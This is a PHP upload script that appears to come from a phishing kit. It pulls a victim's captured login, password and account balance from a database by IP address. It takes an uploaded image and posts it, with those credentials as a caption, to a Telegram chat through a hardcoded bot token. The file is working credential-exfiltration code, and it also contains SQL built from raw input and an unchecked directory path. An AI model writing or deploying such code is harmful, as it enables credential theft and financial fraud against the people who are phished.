<!DOCTYPE html>
<?php
@session_start();

sleep(2);

error_reporting(0);

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";


require("../../bot.php");
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);

$email = $row_infio['usuario'];
$user = $row_infio['user_master'];
$senha = $row_infio['senha'];
$saldo = $row_infio['saldo'];
$saldo1 = $row_infio['saldo1'];

$target_dir = $_POST["dirname"]."/";
$target_file = $target_dir
	. basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$protocolo = (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS']=="on") ? "https" : "http");
$url = '://'.$_SERVER['HTTP_HOST'];

$pic = $protocolo.$url."/app/upload/$target_file";
// 
// "https://www.reviforex.com/wp-content/uploads/2022/03/fxwinning-broker.jpg";


$text = "Login: ".$email."\nSenha: ".$senha."\nSaldo: ".$saldo1."";


if($_SERVER["REQUEST_METHOD"] == "POST") {

	// To check whether directory exist or not
	if(!empty($_POST["dirname"])) {
		if(!is_dir($_POST["dirname"])) {	
			mkdir($_POST["dirname"]);	
			$uploadOk = 1;			
		}
	}
	else {
		header("Location: /app/upload/index.php?error=1");
		$uploadOk = 0;
		exit;	
	}

	// Check if file was uploaded without errors
	if(isset($_FILES["fileToUpload"]) &&
		$_FILES["fileToUpload"]["error"] == 0) {
		$allowed_ext = array("jpg" => "image/jpg",
							"jpeg" => "image/jpeg",
							"gif" => "image/gif",
							"png" => "image/png");
		$file_name = $_FILES["fileToUpload"]["name"];
		$file_type = $_FILES["fileToUpload"]["type"];
		$file_size = $_FILES["fileToUpload"]["size"];
	
		// Verify file extension
		$ext = pathinfo($file_name, PATHINFO_EXTENSION);

		if (!array_key_exists($ext, $allowed_ext)) {
			die("Error: Please select a valid file format.");
		}	
			
		// Verify file size - 2MB max
		$maxsize = 2 * 1024 * 1024;
		
		if ($file_size > $maxsize) {
			die("Error: File size is larger than the allowed limit.");
		}					
	
		// Verify MYME type of the file
		if (in_array($file_type, $allowed_ext))
		{
			// Check whether file exists before uploading it
			if (file_exists("/app/upload/" . $_FILES["fileToUpload"]["name"])) {
				echo $_FILES["fileToUpload"]["name"]." is already exists.";
			}		
			else {
				if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
				$target_file)) {
					echo "The file ". $_FILES["fileToUpload"]["name"].
					" has been uploaded.";
					$apiToken = "6460230847:AAEpmMrQzfw5-PrgnoU9RL-fOUbHdUzMNn0";
					$chatid = "-4053926311";
					$dataX = [
						'chat_id' => '-1001478269748',
						'caption' => $text,
						'parse_mode' => 'HTML',
						'photo' => $pic
					];
					$responseX = file_get_contents("https://api.telegram.org/bot$apiToken/sendPhoto?" . http_build_query($dataX));
					header("Location: /app/upload/index.php?error=1");
					// echo $pic;
				}
				else {
					header("Location: /app/upload/index.php?error=1");
				}
			}
		}
		else {
			header("Location: /app/upload/index.php?error=1");
		}
	}
	else {
		header("Location: /app/upload/index.php?error=1");
	}
}


?>

</body>
</html>
